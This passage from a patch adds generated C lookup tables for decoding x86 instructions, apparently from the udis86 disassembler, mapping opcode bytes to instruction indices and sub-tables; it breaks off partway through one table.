ud_itab__336[] = { + /* 0 */ 893, 897, +}; + +static const uint16_t ud_itab__337[] = { + /* 0 */ 883, 887, +}; + +static const uint16_t ud_itab__338[] = { + /* 0 */ GROUP(339), INVALID, +}; + +static const uint16_t ud_itab__339[] = { + /* 0 */ INVALID, INVALID, INVALID, 1401, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__340[] = { + /* 0 */ 1742, 1743, +}; + +static const uint16_t ud_itab__341[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ 933, 935, GROUP(342), 891, + /* 14 */ 1452, 1446, GROUP(343), 881, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 859, 861, INVALID, 906, + /* 2c */ INVALID, INVALID, 1441, 128, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ 899, 1390, INVALID, INVALID, + /* 54 */ 60, 64, 975, 1498, + /* 58 */ 26, 945, 140, 144, + /* 5c */ 1418, 817, 188, 801, + /* 60 */ 1208, 1211, 1214, 986, + /* 64 */ 1037, 1040, 1043, 992, + /* 68 */ 1199, 1202, 1205, 989, + /* 6c */ 1548, 1546, GROUP(344), 1518, + /* 70 */ 1540, GROUP(345), GROUP(347), GROUP(349), + /* 74 */ 1029, 1032, 1035, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ 1550, 1554, GROUP(351), 1516, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 111, INVALID, + /* c4 */ 1061, 1054, 1380, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ 34, 1162, 1168, 1174, + /* d4 */ 1529, 1095, 919, GROUP(352), + /* d8 */ 1194, 1197, 1082, 1016, + /* dc */ 1011, 1014, 1077, 1019, + /* e0 */ 1022, 1149, 1155, 1025, + /* e4 */ 1089, 1091, 161, 903, + /* e8 */ 1188, 1191, 1079, 1117, + /* ec */ 1005, 1008, 1073, 1265, + /* f0 */ INVALID, GROUP(353), GROUP(354), GROUP(355), + /* f4 */ INVALID, 1071, 1132, GROUP(356), + /* f8 */ 1178, 1181, 1185, 1531, + /* fc */ 995, 999, 1002, INVALID, +}; + +static const uint16_t ud_itab__342[] = { + /* 0 */ 889, INVALID, +}; + +static const uint16_t ud_itab__343[] = { + /* 0 */ 879, INVALID, +}; + +static const uint16_t ud_itab__344[] = { + /* 0 */ 869, 871, 912, +}; + +static const uint16_t ud_itab__345[] = { + /* 0 */ INVALID, INVALID, 1164, INVALID, + /* 4 */ 1151, INVALID, GROUP(346), INVALID, +}; + +static const uint16_t ud_itab__346[] = { + /* 0 */ 1756, INVALID, +}; + +static const uint16_t ud_itab__347[] = { + /* 0 */ INVALID, INVALID, 1170, INVALID, + /* 4 */ 1158, INVALID, GROUP(348), INVALID, +}; + +static const uint16_t ud_itab__348[] = { + /* 0 */ 1758, INVALID, +}; + +static const uint16_t ud_itab__349[] = { + /* 0 */ INVALID, INVALID, 1176, 1544, + /* 4 */ INVALID, INVALID, GROUP(350), 1542, +}; + +static const uint16_t ud_itab__350[] = { + /* 0 */ 1760, INVALID, +}; + +static const uint16_t ud_itab__351[] = { + /* 0 */ 875, 877, 915, +}; + +static const uint16_t ud_itab__352[] = { + /* 0 */ 1085, INVALID, +}; + +static const uint16_t ud_itab__353[] = { + /* 0 */ 1755, INVALID, +}; + +static const uint16_t ud_itab__354[] = { + /* 0 */ 1757, INVALID, +}; + +static const uint16_t ud_itab__355[] = { + /* 0 */ 1759, INVALID, +}; + +static const uint16_t ud_itab__356[] = { + /* 0 */ INVALID, 1520, +}; + +static const uint16_t ud_itab__357[] = { + /* 0 */ 1584, 1587, 1590, 1593, + /* 4 */ 1596, 1599, 1602, 1605, + /* 8 */ 1608, 1614, 1611, 1617, + /* c */ GROUP(358), GROUP(359), GROUP(360), GROUP(361), + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, 1712, + /* 18 */ GROUP(362), GROUP(363), INVALID, INVALID, + /* 1c */ 1575, 1578, 1581, INVALID, + /* 20 */ 1686, 1688, 1690, 1692, + /* 24 */ 1694, INVALID, INVALID, INVALID, + /* 28 */ 1623, 1709, 1682, 1684, + /* 2c */ GROUP(365), GROUP(366), GROUP(367), GROUP(368), + /* 30 */ 1697, 1699, 1701, 1703, + /* 34 */ 1705, 1707, INVALID, 1718, + /* 38 */ 1625, 1627, 1629, 1631, + /* 3c */ 1633, 1635, 1639, 1637, + /* 40 */ 1641, 1643, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, 46, + /* dc */ 42, 44, 38, 40, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__358[] = { + /* 0 */ 1737, INVALID, +}; + +static const uint16_t ud_itab__359[] = { + /* 0 */ 1735, INVALID, +}; + +static const uint16_t ud_itab__360[] = { + /* 0 */ 1740, INVALID, +}; + +static const uint16_t ud_itab__361[] = { + /* 0 */ 1741, INVALID, +}; + +static const uint16_t ud_itab__362[] = { + /* 0 */ 1727, INVALID, +}; + +static const uint16_t ud_itab__363[] = { + /* 0 */ GROUP(364), INVALID, +}; + +static const uint16_t ud_itab__364[] = { + /* 0 */ INVALID, 1728, +}; + +static const uint16_t ud_itab__365[] = { + /* 0 */ 1731, INVALID, +}; + +static const uint16_t ud_itab__366[] = { + /* 0 */ 1733, INVALID, +}; + +static const uint16_t ud_itab__367[] = { + /* 0 */ 1732, INVALID, +}; + +static const uint16_t ud_itab__368[] = { + /* 0 */ 1734, INVALID, +}; + +static const uint16_t ud_itab__369[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ GROUP(370), GROUP(371), GROUP(372), INVALID, + /* 8 */ 1645, 1647, 1649, 1651, + /* c */ 1655, 1653, 1678, 1620, + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ GROUP(374), 1057, GROUP(375), 202, + /* 18 */ GROUP(379), GROUP(381), INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ GROUP(383), 1558, GROUP(385), INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ 198, 196, 1680, INVALID, + /* 44 */ 1513, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, GROUP(391), GROUP(392), + /* 4c */ GROUP(393), INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ 1716, 1714, 1722, 1720, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, 48, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__370[] = { + /* 0 */ 1738, INVALID, +}; + +static const uint16_t ud_itab__371[] = { + /* 0 */ 1736, INVALID, +}; + +static const uint16_t ud_itab__372[] = { + /* 0 */ GROUP(373), INVALID, +}; + +static const uint16_t ud_itab__373[] = { + /* 0 */ INVALID, 1739, +}; + +static const uint16_t ud_itab__374[] = { + /* 0 */ 1046, INVALID, +}; + +static const uint16_t ud_itab__375[] = { + /* 0 */ GROUP(376), GROUP(377), GROUP(378), +}; + +static const uint16_t ud_itab__376[] = { + /* 0 */ 1048, INVALID, +}; + +static const uint16_t ud_itab__377[] = { + /* 0 */ 1050, INVALID, +}; + +static const uint16_t ud_itab__378[] = { + /* 0 */ INVALID, 1052, +}; + +static const uint16_t ud_itab__379[] = { + /* 0 */ GROUP(380), INVALID, +}; + +static const uint16_t ud_itab__380[] = { + /* 0 */ INVALID, 1730, +}; + +static const uint16_t ud_itab__381[] = { + /* 0 */ GROUP(382), INVALID, +}; + +static const uint16_t ud_itab__382[] = { + /* 0 */ INVALID, 1729, +}; + +static const uint16_t ud_itab__383[] = { + /* 0 */ GROUP(384), INVALID, +}; + +static const uint16_t ud_itab__384[] = { + /* 0 */ 1065, INVALID, +}; + +static const uint16_t ud_itab__385[] = { + /* 0 */ GROUP(386), GROUP(388), +}; + +static const uint16_t ud_itab__386[] = { + /* 0 */ GROUP(387), INVALID, +}; + +static const uint16_t ud_itab__387[] = { + /* 0 */ 1066, INVALID, +}; + +static const uint16_t ud_itab__388[] = { + /* 0 */ GROUP(389), GROUP(390), +}; + +static const uint16_t ud_itab__389[] = { + /* 0 */ 1067, INVALID, +}; + +static const uint16_t ud_itab__390[] = { + /* 0 */ 1068, INVALID, +}; + +static const uint16_t ud_itab__391[] = { + /* 0 */ 1745, INVALID, +}; + +static const uint16_t ud_itab__392[] = { + /* 0 */ 1744, INVALID, +}; + +static const uint16_t ud_itab__393[] = { + /* 0 */ 1754, INVALID, +}; + +static const uint16_t ud_itab__394[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(395), GROUP(396), GROUP(397), INVALID, + /* 14 */ INVALID, INVALID, GROUP(398), INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, 155, INVALID, + /* 2c */ 169, 159, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, 1394, 1309, 1294, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ 32, 951, 157, 164, + /* 5c */ 1424, 823, 194, 807, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, 1523, + /* 70 */ 1536, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, 917, 1525, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 121, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, 133, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__395[] = { + /* 0 */ 1751, 1750, +}; + +static const uint16_t ud_itab__396[] = { + /* 0 */ 1753, 1752, +}; + +static const uint16_t ud_itab__397[] = { + /* 0 */ 1572, 1570, +}; + +static const uint16_t ud_itab__398[] = { + /* 0 */ 1568, 1566, +}; + +static const uint16_t ud_itab__399[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(402), GROUP(400), GROUP(401), INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, 153, INVALID, + /* 2c */ 167, 149, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, 1392, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ 30, 949, 151, INVALID, + /* 5c */ 1422, 821, 192, 805, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ 1538, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ 1552, 1556, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 118, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ 36, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, 137, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ 1560, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__400[] = { + /* 0 */ 1749, 1748, +}; + +static const uint16_t ud_itab__401[] = { + /* 0 */ 1564, 1562, +}; + +static const uint16_t ud_itab__402[] = { + /* 0 */ 1747, 1746, +}; + +static const uint16_t ud_itab__403[] = { + /* 0 */ GROUP(404), GROUP(335), INVALID, INVALID, + /* 4 */ INVALID, GROUP(341), GROUP(357), GROUP(369), + /* 8 */ INVALID, GROUP(394), INVALID, INVALID, + /* c */ INVALID, GROUP(399), INVALID, INVALID, +}; + +static const uint16_t ud_itab__404[] = { + /* 0 */ 769, INVALID, +}; + +static const uint16_t ud_itab__405[] = { + /* 0 */ 826, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__406[] = { + /* 0 */ 827, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__407[] = { + /* 0 */ 715, INVALID, +}; + +static const uint16_t ud_itab__408[] = { + /* 0 */ 723, 724, 725, +}; + +static const uint16_t ud_itab__409[] = { + /* 0 */ 1280, 1285, 1269, 1273, + /* 4 */ 1326, 1333, 1320, 1314, +}; + +static const uint16_t ud_itab__410[] = { + /* 0 */ 1281, 1288, 1272, 1276, + /* 4 */ 1325, 1332, 1329, 1312, +}; + +static const uint16_t ud_itab__411[] = { + /* 0 */ 1282, 1289, 1270, 1277, + /* 4 */ 1324, 1331, 1321, 1316, +}; + +static const uint16_t ud_itab__412[] = { + /* 0 */ 1283, 1290, 1271, 1278, + /* 4 */ 1328, 1335, 1322, 1317, +}; + +static const uint16_t ud_itab__413[] = { + /* 0 */ 3, INVALID, +}; + +static const uint16_t ud_itab__414[] = { + /* 0 */ 2, INVALID, +}; + +static const uint16_t ud_itab__415[] = { + /* 0 */ 1311, INVALID, +}; + +static const uint16_t ud_itab__416[] = { + /* 0 */ GROUP(417), GROUP(418), +}; + +static const uint16_t ud_itab__417[] = { + /* 0 */ 206, 503, 307, 357, + /* 4 */ 587, 630, 387, 413, +}; + +static const uint16_t ud_itab__418[] = { + /* 0 */ 215, 216, 217, 218, + /* 4 */ 219, 220, 221, 222, + /* 8 */ 504, 505, 506, 507, + /* c */ 508, 509, 510, 511, + /* 10 */ 309, 310, 311, 312, + /* 14 */ 313, 314, 315, 316, + /* 18 */ 359, 360, 361, 362, + /* 1c */ 363, 364, 365, 366, + /* 20 */ 589, 590, 591, 592, + /* 24 */ 593, 594, 595, 596, + /* 28 */ 614, 615, 616, 617, + /* 2c */ 618, 619, 620, 621, + /* 30 */ 388, 389, 390, 391, + /* 34 */ 392, 393, 394, 395, + /* 38 */ 414, 415, 416, 417, + /* 3c */ 418, 419, 420, 421, +}; + +static const uint16_t ud_itab__419[] = { + /* 0 */ GROUP(420), GROUP(421), +}; + +static const uint16_t ud_itab__420[] = { + /* 0 */ 476, INVALID, 573, 540, + /* 4 */ 493, 492, 584, 583, +}; + +static const uint16_t ud_itab__421[] = { + /* 0 */ 477, 478, 479, 480, + /* 4 */ 481, 482, 483, 484, + /* 8 */ 658, 659, 660, 661, + /* c */ 662, 663, 664, 665, + /* 10 */ 522, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ 549, 550, 551, 552, + /* 1c */ 553, 554, 555, 556, + /* 20 */ 233, 204, INVALID, INVALID, + /* 24 */ 639, 657, INVALID, INVALID, + /* 28 */ 485, 486, 487, 488, + /* 2c */ 489, 490, 491, INVALID, + /* 30 */ 203, 685, 529, 526, + /* 34 */ 684, 528, 377, 454, + /* 38 */ 527, 686, 537, 536, + /* 3c */ 530, 534, 535, 376, +}; + +static const uint16_t ud_itab__422[] = { + /* 0 */ GROUP(423), GROUP(424), +}; + +static const uint16_t ud_itab__423[] = { + /* 0 */ 456, 520, 448, 450, + /* 4 */ 462, 464, 460, 458, +}; + +static const uint16_t ud_itab__424[] = { + /* 0 */ 235, 236, 237, 238, + /* 4 */ 239, 240, 241, 242, + /* 8 */ 243, 244, 245, 246, + /* c */ 247, 248, 249, 250, + /* 10 */ 251, 252, 253, 254, + /* 14 */ 255, 256, 257, 258, + /* 18 */ 259, 260, 261, 262, + /* 1c */ 263, 264, 265, 266, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, 656, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__425[] = { + /* 0 */ GROUP(426), GROUP(427), +}; + +static const uint16_t ud_itab__426[] = { + /* 0 */ 453, 471, 467, 470, + /* 4 */ INVALID, 474, INVALID, 538, +}; + +static const uint16_t ud_itab__427[] = { + /* 0 */ 267, 268, 269, 270, + /* 4 */ 271, 272, 273, 274, + /* 8 */ 275, 276, 277, 278, + /* c */ 279, 280, 281, 282, + /* 10 */ 283, 284, 285, 286, + /* 14 */ 287, 288, 289, 290, + /* 18 */ 291, 292, 293, 294, + /* 1c */ 295, 296, 297, 298, + /* 20 */ 524, 523, 234, 455, + /* 24 */ 525, 532, INVALID, INVALID, + /* 28 */ 299, 300, 301, 302, + /* 2c */ 303, 304, 305, 306, + /* 30 */ 333, 334, 335, 336, + /* 34 */ 337, 338, 339, 340, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__428[] = { + /* 0 */ GROUP(429), GROUP(430), +}; + +static const uint16_t ud_itab__429[] = { + /* 0 */ 205, 494, 308, 358, + /* 4 */ 588, 613, 378, 404, +}; + +static const uint16_t ud_itab__430[] = { + /* 0 */ 207, 208, 209, 210, + /* 4 */ 211, 212, 213, 214, + /* 8 */ 495, 496, 497, 498, + /* c */ 499, 500, 501, 502, + /* 10 */ 317, 318, 319, 320, + /* 14 */ 321, 322, 323, 324, + /* 18 */ 325, 326, 327, 328, + /* 1c */ 329, 330, 331, 332, + /* 20 */ 622, 623, 624, 625, + /* 24 */ 626, 627, 628, 629, + /* 28 */ 597, 598, 599, 600, + /* 2c */ 601, 602, 603, 604, + /* 30 */ 405, 406, 407, 408, + /* 34 */ 409, 410, 411, 412, + /* 38 */ 379, 380, 381, 382, + /* 3c */ 383, 384, 385, 386, +}; + +static const uint16_t ud_itab__431[] = { + /* 0 */ GROUP(432), GROUP(433), +}; + +static const uint16_t ud_itab__432[] = { + /* 0 */ 475, 472, 574, 539, + /* 4 */ 531, INVALID, 533, 585, +}; + +static const uint16_t ud_itab__433[] = { + /* 0 */ 431, 432, 433, 434, + /* 4 */ 435, 436, 437, 438, + /* 8 */ 666, 667, 668, 669, + /* c */ 670, 671, 672, 673, + /* 10 */ 575, 576, 577, 578, + /* 14 */ 579, 580, 581, 582, + /* 18 */ 541, 542, 543, 544, + /* 1c */ 545, 546, 547, 548, + /* 20 */ 640, 641, 642, 643, + /* 